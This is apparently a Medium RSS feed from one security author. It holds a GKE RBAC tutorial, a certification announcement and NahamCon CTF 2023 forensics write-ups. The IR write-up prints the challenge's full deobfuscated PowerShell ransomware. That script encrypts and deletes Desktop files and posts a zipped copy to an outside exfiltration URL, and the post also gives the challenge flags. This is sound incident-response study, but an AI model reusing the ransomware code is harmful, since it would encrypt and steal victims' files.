<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hadiqa khan on Medium]]></title>
        <description><![CDATA[Stories by Hadiqa khan on Medium]]></description>
        <link>https://medium.com/@hadiqak27?source=rss-b327932e200d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*XxIdYQSbffJlmtMi-VgJgg.jpeg</url>
            <title>Stories by Hadiqa khan on Medium</title>
            <link>https://medium.com/@hadiqak27?source=rss-b327932e200d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 17:54:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hadiqak27/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Mastering RBAC: How to Secure Your GKE Clusters with Google Groups]]></title>
            <link>https://towardsdev.com/mastering-rbac-how-to-secure-your-gke-clusters-with-google-groups-b51747a244c6?source=rss-b327932e200d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b51747a244c6</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[kubernetes-security]]></category>
            <category><![CDATA[gke]]></category>
            <category><![CDATA[kubernetes-rbac]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Hadiqa khan]]></dc:creator>
            <pubDate>Mon, 29 Jan 2024 15:09:37 GMT</pubDate>
            <atom:updated>2024-01-29T18:47:42.776Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_9h27sTImi1umDq5" /><figcaption>Photo by <a href="https://unsplash.com/@growtika?utm_source=medium&amp;utm_medium=referral">Growtika</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p><em>Unmasking Role-Based Access Control in Kubernetes</em></p><p>Kubernetes is a powerful container orchestration platform that provides robust capabilities for easily managing and shipping containerized applications. Google Kubernetes Engine (GKE) is one of the most commonly used Kubernetes Engine that runs on Google Cloud Platform (GCP). However, managing access and permissions within a GKE cluster can become complex, especially in multi-user environments. One of the most effective ways to achieve this is by leveraging Kubernetes&#39;s Role-Based Access Control (RBAC) functionality with (GKE) clusters and Google Groups.</p><p>In this article, we will explore how to achieve a powerful and streamlined access control solution for your GKE clusters. We will discuss how to set up and configure RBAC for GKE clusters using Google Groups.</p><h3>Prerequisites</h3><p>Before diving into the technical details, let’s meet the requirements</p><ul><li>Google Workspace</li><li>Functional GKE Cluster</li><li>Enable Google Groups for RBAC while creating or updating clusters</li><li>Configure gcloud CLI ( Console can be used too)</li></ul><h3>RBAC Strategy</h3><p>We will be creating Google groups to represent each role in our strategy and then will add users to assign them a role. There are two types of role bindings in Kubernetes i.e. Role and ClusterRoles.</p><blockquote><strong>Roles</strong> are used to manage access within a specific namespaces whereas <strong>ClusterRoles </strong>are used to manage cluster-wide access.</blockquote><p>We will assign roles to our cluster following the illustrated scenario.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*TwLJeiiL8EAYOkPcREsvBA.png" /><figcaption>RBAC Strategy</figcaption></figure><p>The view-only roles have permission to get, watch, and list <strong>Pods</strong>, and <strong>Containers </strong>on respective namespaces whereas the Deploy-only role will have cluster-wide permission to get, watch, list, create, update, patch, and delete <strong>Pods</strong>, <strong>Deployments</strong>, and other resources.</p><h3>Implementing the Strategy</h3><p>To implement the RBAC Roles, we need to follow the mentioned steps.</p><p>Note: Replace domain.com with your Google Workspace domain</p><ul><li>Create Root Google Group should be named “<strong>gke-security-groups@domain.com</strong>”</li><li>Assign <strong>Kubernetes Engine Viewer</strong> IAM Role to “<strong>gke-security-groups@domain.com</strong>”</li><li>Add <strong>gke-security-groups@domain.com</strong> to your GKE Cluster as a security group</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jZQRVDR6eH4fJol9_9pXgg.png" /><figcaption>Google Groups Enabled</figcaption></figure><ul><li>Create other View-only and Deploy-only Google Groups in Workspace.</li><li>Create Yaml Files to apply for the roles.</li></ul><p><strong>View-Only-QA</strong></p><pre>apiVersion: rbac.authorization.k8s.io/v1<br>kind: Role<br>metadata:<br>  namespace: QA<br>  name: View-Only-QA<br>rules:<br>- apiGroups: [&quot;&quot;,&quot;batch&quot;] # &quot;&quot; indicates the core API group<br>  resources: [&quot;pods&quot;,&quot;containers&quot;]<br>  verbs: [&quot;get&quot;, &quot;watch&quot;, &quot;list&quot;]<br><br>---<br><br>apiVersion: rbac.authorization.k8s.io/v1<br>kind: RoleBinding<br>metadata:<br>  name: View-Only-QA-binding<br>  namespace: QA<br>subjects: <br># Google Group<br>- kind: Group<br>  name: view-only-qa@domain.com<br>roleRef:<br>  kind: Role<br>  name: view-only<br>  apiGroup: rbac.authorization.k8s.io</pre><p><strong>View-Only-DEV</strong></p><pre>apiVersion: rbac.authorization.k8s.io/v1<br>kind: Role<br>metadata:<br>  namespace: DEV<br>  name: View-Only-Dev<br>rules:<br>- apiGroups: [&quot;&quot;,&quot;batch&quot;] # &quot;&quot; indicates the core API group<br>  resources: [&quot;pods&quot;,&quot;containers&quot;]<br>  verbs: [&quot;get&quot;, &quot;watch&quot;, &quot;list&quot;]<br><br>---<br><br>apiVersion: rbac.authorization.k8s.io/v1<br>kind: RoleBinding<br>metadata:<br>  name: View-Only-dev-binding<br>  namespace: DEV<br>subjects: <br># Google Group<br>- kind: Group<br>  name: view-only-dev@domain.com<br>roleRef:<br>  kind: Role<br>  name: view-only<br>  apiGroup: rbac.authorization.k8s.io</pre><p><strong>Deploy-Only-all</strong></p><pre><br>apiVersion: rbac.authorization.k8s.io/v1<br>kind: ClusterRole<br>metadata:<br>  name: deploy-only-all<br>rules:<br>- apiGroups: [&quot;&quot;,&quot;batch&quot;] # &quot;&quot; indicates the core API group<br>  resources: [&quot;pods&quot;,&quot;pods/log&quot;,&quot;containers&quot;,&quot;deployments&quot;,&quot;configmaps&quot;,&quot;nodes&quot;,&quot;daemonsets&quot;,&quot;cronjobs&quot;]<br>  verbs: [&quot;get&quot;,&quot;watch&quot;,&quot;list&quot;,&quot;update&quot;,&quot;patch&quot;,&quot;create&quot;,&quot;delete&quot;]<br><br>---<br><br>apiVersion: rbac.authorization.k8s.io/v1<br>kind: ClusterRoleBinding<br>metadata:<br>  name: deploy-only-all-binding<br>subjects: <br># Google Group<br>- kind: Group<br>  name: deploy-only-dev@domain.com<br>  apiGroup: rbac.authorization.k8s.io<br>roleRef:<br>  kind: ClusterRole<br>  name: deploy-only-cluster<br>  apiGroup: rbac.authorization.k8s.io</pre><p>Time to apply the changes to our cluster. Let’s connect to our GKE Cluster using the following gcloud command.</p><pre>gcloud container clusters get-credentials mycluster \<br>--region us-west1 --project first-project-1<br>kubectl apply -f rbac-viewonly-QA.yaml<br>kubectl apply -f rbac-viewonly-dev.yaml<br>kubectl apply -f rbac-deployonly-all.yaml</pre><ul><li>Now add the users to respective Google Groups such as adding testuser@domain.com to View Only QA Group.</li><li>Log in as a test user.</li></ul><pre>gcloud auth login<br>gcloud config  set project ProjectID<br>gcloud container clusters get-credentials mycluster \<br> --region us-west1 --project first-project-1</pre><ul><li>Verify the permission by running the following command in your gcloud CLI.</li></ul><pre>kubectl auth can-i get pods \<br>    --namespace=dev \<br>    --as=testuser@domain.com \<br>    --as-group=view-only-dev@domain.com</pre><p>It will return <strong>Yes</strong>, on access.</p><h3>Conclusion</h3><p>To conclude, we have gained a solid understanding of how to effectively manage access to our resources by leveraging the RBAC functionality of Kubernetes with GKE clusters and Google Groups. The defined roles provide granular access controls, simplifying user management and enhancing security by minimizing threats.</p><h3>References</h3><ul><li><a href="https://cloud.google.com/kubernetes-engine/docs/how-to/google-groups-rbac#gcloud">Configure Google Groups for RBAC | Google Kubernetes Engine (GKE) | Google Cloud</a></li><li><a href="https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping">Using RBAC Authorization</a></li></ul><p>Stay tuned for my upcoming article where I will discuss the<strong> best practices</strong> of GKE Security. Meanwhile, feel free to connect with me on <a href="http://www.linkedin.com/in/hadiqa-khan"><strong>LinkedIn</strong></a><strong>.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b51747a244c6" width="1" height="1" alt=""><hr><p><a href="https://towardsdev.com/mastering-rbac-how-to-secure-your-gke-clusters-with-google-groups-b51747a244c6">Mastering RBAC: How to Secure Your GKE Clusters with Google Groups</a> was originally published in <a href="https://towardsdev.com/">Towards Dev</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Securing Success: Our Journey of achieving a Cyber Essentials Plus Certification]]></title>
            <link>https://hadiqak27.medium.com/securing-success-our-journey-of-achieving-a-cyber-essentials-plus-certification-c5a4242b0078?source=rss-b327932e200d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c5a4242b0078</guid>
            <category><![CDATA[cloud-security-controls]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[compliance-management]]></category>
            <category><![CDATA[cyber-essentials]]></category>
            <category><![CDATA[organisational-security]]></category>
            <dc:creator><![CDATA[Hadiqa khan]]></dc:creator>
            <pubDate>Sat, 30 Dec 2023 15:51:33 GMT</pubDate>
            <atom:updated>2024-01-22T17:49:07.501Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2qwk3Smb-u4-LSSdelTgBA.png" /></figure><p>Achieving Cyber Essentials Basic and Plus Certifications.</p><p>We are proud to highlight our remarkable efforts in enhancing security throughout this year. We at <strong>ByteCorp (BCT Consultants Ltd)</strong> are proud to say that we have achieved a Cyber Essentials Plus Certification after completing our Cyber Essentials Basic audit in July. Our commitment to maintaining high cybersecurity standards has been the driving force behind this accomplishment.</p><p>This article describes how we achieved this through hands-on technical verification.</p><p>Cyber Essentials is a certification scheme that helps organisations demonstrate their strong operational security measures against cyber-attacks. The UK Government and the industry support it.</p><p>In our proactive approach, we prioritise the protection of our systems from common internet attacks by implementing the five essential controls of Cyber Essentials. This showcases our commitment to the secure handling of customer operations and robust internal security controls.</p><p>As a service provider, being Cyber Essentials Certified shows that we have implemented controls to secure our infrastructure and client’s operations. Cyber Essentials Plus is a higher-level certification that involves a more rigorous assessment of our cybersecurity measures and practices. The certification demonstrates that our organization has implemented and adhered to effective and comprehensive cybersecurity measures to protect against a range of cyber threats. Our clients are assured that their products are managed and hosted within a secure environment.</p><p>Our journey towards the certification was a detailed and lengthy process that took several months to complete. We started by implementing controls from scratch. We introduced internal measures to meet Cyber Essentials Criteria and implemented stronger access controls, robust malware protection, vulnerability management, and secure system configurations with efficient update management. The journey concluded with an accredited assessor’s annual external assessment, ensuring a comprehensive evaluation of the organisation’s security posture.</p><p><a href="https://registry.blockmarktech.com/organisations/GBLTD14577747/?as-visitor=true">https://registry.blockmarktech.com/organisations/GBLTD14577747/?as-visitor=true</a></p><p>View our certifications by visiting</p><p>In the future, alongside upholding our Cyber Essentials certifications, our focus for 2024 involves working towards Data Compliance Regulations. We recognise the importance of complying with these global industry standards and are committed to ensuring that our operations adhere to all relevant regulations. Our goal is to establish ourselves as a leader in this space by fostering a culture of security and data protection, which we believe will ultimately benefit our customers, stakeholders, and partners. We will keep you updated on our journey towards achieving security excellence. Stay tuned for exciting updates!</p><p><em>Originally published at </em><a href="https://medium.com/bytecorp/securing-success-our-journey-of-achieving-a-cyber-essentials-plus-certification-54b529bc922f"><em>https://medium.com</em></a><em> on December 30, 2023.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5a4242b0078" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NahamCon CTF 2023 — IR (Challenge Group) Writeup]]></title>
            <link>https://hadiqak27.medium.com/nahamcon-ctf-2023-ir-challenge-group-writeup-2e6d8ce5665a?source=rss-b327932e200d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e6d8ce5665a</guid>
            <category><![CDATA[powershell-script]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[nahamcon-ctf]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Hadiqa khan]]></dc:creator>
            <pubDate>Mon, 19 Jun 2023 17:14:32 GMT</pubDate>
            <atom:updated>2023-06-19T17:14:32.254Z</atom:updated>
            <content:encoded><![CDATA[<h3>NahamCon CTF 2023 — IR (Challenge Group) Writeup</h3><p>Hey Folks, I participated in NahamCon CTF 2023. This post covers the writeup for challenge group <strong>IR </strong>by @awesome10billion#1164 (CTFd)<strong>.</strong></p><p>The password protected .ova file for this challenge was around 13 GB and the same file used for all five IR challenges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHMWqG-BBSZZhEBRGNlU9g.png" /></figure><h3>IR # 1</h3><h4>Description</h4><p>Can you find the hidden file on this VM?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y0OYDblJivCXoBmKX49p-g.png" /><figcaption>IR # 1 Challenge Description</figcaption></figure><h4>Solution</h4><p>Import the .ova file on Virtual Box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AeoDteRMxqnzNDIqrvFqmA.png" /></figure><p>Login into machine with</p><p>Username: IEUser</p><p>Password:Passw0rd!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7UshQKTmOyhnfjsqZCH8A.png" /></figure><h4>Solution</h4><p>We have to find the <strong>Hidden File</strong>, I started my search from downloads, with option “Show Hidden Files” enable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9l-9p4jtHsSru3nWVpb6wA.png" /><figcaption>Downloads</figcaption></figure><p>Nothing hidden in downloads, I moved to Documents and there I found a hidden directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*RZz3mhF9hkAvImsJnsWI9A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*woqvvzIrScoKbuZf1UQQqw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*SWOdEd1OZIml-k4moQ1dqQ.png" /></figure><p>Here we got our first flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*py07iN9_fm4arWz1lBhsTg.png" /><figcaption>Ransom note.txt</figcaption></figure><h3>IR # 2</h3><h4>Description</h4><p>Can you figure out how the malware got onto the system?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zMwZrpqOnXTSs2uyiYqWJw.png" /><figcaption>IR # 2Challenge Description</figcaption></figure><h4>Solution</h4><p>When I turned on the windows machine, I got a notification to fix “<strong>Microsoft Account” </strong>, I skipped this one for a moment and searched some firewall logs in event viewer. But it clicked my mind and I released the user was phished.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*SKZbtH1b65F4X6hM6TbTpw.png" /><figcaption>Notification to fix account</figcaption></figure><p>Opened the outlook to check the emails and got email from <a href="/service/mailto:nexgeninnovation@outlook.com">nexgeninnovation@outlook.com</a> to install updates (which was the malware). The email contained our flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9rzlAjMlofPQcd7sblzIrg.png" /><figcaption>Email containing Malware</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*0yER_L7yqR5Y9qfD6Fgwdg.png" /><figcaption>Email contains Flag</figcaption></figure><h3>IR # 3</h3><h4>Description</h4><p>Can you reverse the malware?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HvQiEXbvRf-d4mZfDIm4-w.png" /><figcaption>IR # 3 Challenge Description</figcaption></figure><h4>Solution</h4><p>So the email contained “<strong>update.ps1</strong>” and download folder contained the same file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*xzaFE5Bc_68nR_iVdYXOHQ.png" /><figcaption>Update.ps1</figcaption></figure><p>Opening the file in notepad reveals that it is completely obfuscated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eIYZwZin2qpJ4X5Ot7OIEQ.png" /><figcaption>Obfuscated update.ps1</figcaption></figure><p>In order to reverse it, we have to deobfuscate it and understand how it works. I googled the methods to reverse the PowerShell script and found this blog really helpful <a href="https://securityliterate.com/malware-analysis-in-5-minutes-deobfuscating-powershell-scripts/">https://securityliterate.com/malware-analysis-in-5-minutes-deobfuscating-powershell-scripts/</a></p><p>I ran the script using <strong>PowerShell ISE</strong>, the dynamic analysis ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*24DX75vq-3ng10_5uGaaDg.png" /><figcaption>Update.ps1 in Powershell ISE</figcaption></figure><p>Time to get variables the script uses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*babGOpkY_dwFVop7gjTF2g.png" /><figcaption>Get-Variable</figcaption></figure><p>Examining the output reveals some interesting variables</p><p>9HvtMFbC2RGJX6YOASjNeBx — Variable1</p><p>biPIv9ahScgYwGXl0FyV — Variable 2</p><p>ehyGknDcqxFwCYJz5vfot4T8 — Variable 3</p><p>flag — Variable 4</p><p>We got our flag for the challenge IR # 3 from variable <strong>Flag.</strong></p><h3>IR # 4</h3><h4>Description</h4><p>Where is the data being exfiltrated? Please give <strong>the MD5 hash of the URL with the usual wrapper of </strong><strong>flag{}.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*776LSqG1jDAgBZsxmhEnhw.png" /></figure><h4>Solution</h4><p>Let’s analyze the output of Get-Variable from previous command we ran.</p><p>To get the value of variable we can use “<em>Write-Output $Variable_name</em>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wr-IaWH7M0k5uf5aUVgCbQ.png" /><figcaption>Output of $9HvtMFbC2RGJX6YOASjNeBx</figcaption></figure><p>I tried to decode it but not of much interest, lets check another variable which probably have the encryption function used by the malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*js81HmlyRxLOT2yvYfrPSw.png" /><figcaption>Output of $biPIv9ahScgYwGXl0FyV</figcaption></figure><p>So we got the function which is used for encryption.</p><pre>function encryptFiles{<br> Param(<br>  [Parameter(Mandatory=${true}, position=0)]<br>  [string] $baseDirectory<br> )<br> foreach($File in (Get-ChildItem $baseDirectory -Recurse -File)){<br>  if ($File.extension -ne &quot;.enc&quot;){<br>   $DestinationFile = $File.FullName + &quot;.enc&quot;<br>   $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)<br>   $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create)<br>   $cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create(&quot;AES&quot;)<br>   $cipher.key = [System.Text.Encoding]::UTF8.GetBytes(&quot;7h3_k3y_70_unl0ck_4ll_7h3_f1l35!&quot;)<br>   $cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7<br>   $cipher.GenerateIV()<br>   $FileStreamWriter.Write([System.BitConverter]::GetBytes($cipher.IV.Length), 0, 4)<br>   $FileStreamWriter.Write($cipher.IV, 0, $cipher.IV.Length)<br>   $Transform = $cipher.CreateEncryptor()<br>   $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Securit<br>y.Cryptography.CryptoStreamMode]::Write)<br>   $FileStreamReader.CopyTo($CryptoStream)<br>   $CryptoStream.FlushFinalBlock()<br>   $CryptoStream.Close()<br>   $FileStreamReader.Close()<br>   $FileStreamWriter.Close()<br>   Remove-Item -LiteralPath $File.FullName<br>  }<br> }<br>}<br>$flag = &quot;flag{892a8921517dcecf90685d478aedf5e2}&quot;<br>$ErrorActionPreference= &#39;silentlycontinue&#39;<br>$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.Split(&quot;\&quot;)[-1]<br>encryptFiles(&quot;C:\Users\&quot;+$user+&quot;\Desktop&quot;)<br>Add-Type -assembly &quot;system.io.compression.filesystem&quot;<br>[io.compression.zipfile]::CreateFromDirectory(&quot;C:\Users\&quot;+$user+&quot;\Desktop&quot;, &quot;C:\Users\&quot;+$user+&quot;\Downloads\Desktop.zip&quot;<br>)<br>$zipFileBytes = Get-Content -Path (&quot;C:\Users\&quot;+$user+&quot;\Downloads\Desktop.zip&quot;) -Raw -Encoding Byte<br>$zipFileData = [Convert]::ToBase64String($zipFileBytes)<br>$body = ConvertTo-Json -InputObject @{file=$zipFileData}<br>Invoke-Webrequest -Method Post -Uri &quot;https://www.thepowershellhacker.com/exfiltration&quot; -Body $body<br>Remove-Item -LiteralPath (&quot;C:\Users\&quot;+$user+&quot;\Downloads\Desktop.zip&quot;)</pre><p>From the <strong>Invoke-Webrequest </strong>we can extract the URL used for data exfiltration.</p><p>Invoke-Webrequest -Method Post -Uri “<a href="https://www.thepowershellhacker.com/exfiltration">https://www.thepowershellhacker.com/exfiltration</a>&quot; -Body $body<br>Remove-Item -LiteralPath (“C:\Users\”+$user+”\Downloads\Desktop.zip”)</p><p>Generate MD5 hash using online tools / websites and wrap it in flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*EVyYQJP3D-vLl5joKH7_dQ.png" /></figure><p>flag{32c53185c3448169bae4dc894688d564}</p><h3>IR # 5</h3><h4>Description</h4><p>Can you please recover our files?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fs3ITUWBh_suW3rVx49hKQ.png" /><figcaption>IR # 5 Challenge Description</figcaption></figure><h4>Solution</h4><p>The ecnrypt function in the output of variable was used to encrypt all the files on user’s desktop. The function contained the <strong><em>key </em></strong>used to encrypt the files.</p><p>We have to write a decryption function in order to recover the files, why not used ChatGPT?</p><pre>function decryptFiles {<br>    Param(<br>        [Parameter(Mandatory=$true, Position=0)]<br>        [string] $baseDirectory<br>    )<br>    <br>    foreach ($File in (Get-ChildItem $baseDirectory -Recurse -File)) {<br>        if ($File.Extension -eq &quot;.enc&quot;) {<br>            $DestinationFile = $File.FullName -replace &#39;\.enc$&#39;<br>            $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)<br>            $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create)<br>            <br>            # Read the IV length<br>            $IVLengthBuffer = New-Object byte[](4)<br>            $FileStreamReader.Read($IVLengthBuffer, 0, 4) | Out-Null<br>            $IVLength = [System.BitConverter]::ToInt32($IVLengthBuffer, 0)<br>            <br>            # Read the IV<br>            $IVBuffer = New-Object byte[]($IVLength)<br>            $FileStreamReader.Read($IVBuffer, 0, $IVLength) | Out-Null<br>            <br>            $cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create(&quot;AES&quot;)<br>            $cipher.Key = [System.Text.Encoding]::UTF8.GetBytes(&quot;7h3_k3y_70_unl0ck_4ll_7h3_f1l35!&quot;)<br>            $cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7<br>            $cipher.IV = $IVBuffer<br>            <br>            $Transform = $cipher.CreateDecryptor()<br>            $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamReader, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Read)<br>            $CryptoStream.CopyTo($FileStreamWriter)<br>            <br>            $CryptoStream.Close()<br>            $FileStreamReader.Close()<br>            $FileStreamWriter.Close()<br>            <br>            Remove-Item -LiteralPath $File.FullName<br>        }<br>    }<br>}</pre><p>This function will decrypt the files. I will run the function using script in PowerShell ISE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dcBGCNh2FebUbyBAOaS-Tg.png" /></figure><p>And we got our files back in original format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Vd7AXfISATZTrVR3hlWXw.png" /><figcaption>Files after decryption</figcaption></figure><p>Now time to find the flag in one of the file, I started with pdf and luckily found the flag in one of the pdf.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uzElrC1JYefEFfxkylYKZw.png" /></figure><p>Scrolling down and zooming in the pdf “NextGen Innovations”, I found the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*mjxdmqHSZIVFwLlHfqZozg.png" /><figcaption>Flag Found !</figcaption></figure><p>The IR Challenge Group was one of the most interesting and fun to solve.</p><p>I hope you will find the writeup helpful.</p><p>Feel free to give suggestions</p><p>Thanks for Reading !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e6d8ce5665a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NahamCon CTF 2023 — Fetch Writeup]]></title>
            <link>https://hadiqak27.medium.com/nahamcon-ctf-2023-fetch-writeup-ccbfe0811b24?source=rss-b327932e200d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ccbfe0811b24</guid>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[prefetch-file-analysis]]></category>
            <category><![CDATA[nahamcon-ctf]]></category>
            <dc:creator><![CDATA[Hadiqa khan]]></dc:creator>
            <pubDate>Mon, 19 Jun 2023 15:47:10 GMT</pubDate>
            <atom:updated>2023-06-19T15:47:10.082Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>NahamCon CTF 2023 — Fetch Writeup</strong></h3><p>Hey Folks, I participated in NahamCon CTF 2023, my main focus was on solving Forensics Category Challenges. This post covers the writeup for challenge <strong>Fetch.</strong></p><h3>Description</h3><p>Author: @JohnHammond#6971</p><p><em>“Gretchen, stop trying to make fetch happen! It’s not going to happen!”</em> — Regina George</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VU-Z-p5LZJ7utjh7xmbcJw.png" /></figure><h3>Solution</h3><p>The attached file was “<strong>fetch.7z</strong>”, a 7z archive file. I extracted the zip archive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*qFeh3w1llBXC9H5UA0odvg.png" /></figure><p>To examine the file type and data, run a “file” command on Linux, which reveals it is “<strong>Windows Imaging Format (WIM)”</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*sM0fZyZqf_FBYdq2Kc5vhg.png" /></figure><p>On opening archive, there are “<strong>.pf</strong>” files, hence the challenge name “<strong>fetch</strong>”. The archive has one more zip archive named as fetch.zip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*f0UYli6nLv2Z6EnNRVmRQQ.png" /></figure><p>The prefetch files are basically created when user runs an application from a particular location first time. So, what clicks here is to analyze the prefetch files. Eric Zimmerman has developed bundle of forensics tools to make the analyzes easier and timely. We will be using “<strong>PECmd” (Prefetch Parser)</strong>, which is used to analyze the prefetch files.</p><p>Download the tool from: <a href="https://ericzimmerman.github.io/#!index.md">https://ericzimmerman.github.io/#!index.md</a></p><p>I shifted to the Windows for using PECmd.</p><p>Extract the other fetch.zip inside WIM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*2akvO66AfmZ7vHQyaPYVVQ.png" /></figure><p>Inside the fetch folder, I found Calc.exe and Calculator.exe.pf, and Wordpad.exe.pf a bit suspicious, but I will analyze all the prefetch files.</p><pre>D:\PECmd&gt;PECmd.exe -d &quot;D:\Forensics_tools\fetch~\fetch&quot; &gt;&gt; out.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*ie7W95JfDZGtXZTOyaMDKA.png" /></figure><p>The output file contain a bundle of information with the referenced directories and files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*idy2eGlP7mWIo_6K0jdx1g.png" /></figure><p>An efficient way is to simply search for “flag”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*xasJfTsE2f8Ek615TJ9K5g.png" /></figure><p>I hope you enjoyed the methodology and writeup :)</p><p>Feel free to give suggestions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ccbfe0811b24" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Evidence to Answers: Navigating Forensic CTF Challenges with Skill — Part II]]></title>
            <link>https://hadiqak27.medium.com/from-evidence-to-answers-navigating-forensic-ctf-challenges-with-skill-part-ii-44975cdb35d?source=rss-b327932e200d------2</link>
            <guid isPermaLink="false">https://medium.com/p/44975cdb35d</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[shellbags]]></category>
            <category><![CDATA[artifact]]></category>
            <dc:creator><![CDATA[Hadiqa khan]]></dc:creator>
            <pubDate>Fri, 02 Jun 2023 15:16:47 GMT</pubDate>
            <atom:updated>2023-06-02T15:19:38.785Z</atom:updated>
